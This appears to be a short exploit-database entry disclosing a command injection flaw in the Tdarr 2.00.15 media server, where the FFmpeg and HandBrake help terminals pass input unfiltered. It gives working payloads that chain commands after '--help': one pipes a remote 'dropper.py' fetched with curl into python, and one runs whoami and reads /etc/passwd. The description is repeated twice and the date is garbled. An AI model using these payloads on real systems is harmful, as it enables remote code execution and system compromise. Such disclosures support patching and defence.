The Help tab contains a terminal for both FFmpeg and HandBrake. These terminals do not include input filtering which allows the user to chain commands and spawn a reverse shell.
eg. --help; curl http://192.168.0.2/dropper.py | python or --help;whoami;cat /etc/passwd.
Exploit Title: Tdarr 2.00.15 - Command Injection
Date: 2003/2022
Exploit Author: Arun
Vendor Homepage: https://tdarr.io
Software Link: https://f000.backblazeb2.com/file/tdarrs/versions/2.00.15/linux_arm64/Tdarr_Server.zip
Version: 2.00.15 (likely also older versions)
Tested on: 2.00.15
Exploit:
The Help tab contains a terminal for both FFmpeg and HandBrake. These terminals do not include input filtering which allows the user to chain commands and spawn a reverse shell.
eg.
--help; curl http://192.168.0.2/dropper.py | pythonor--help;whoami;cat /etc/passwd.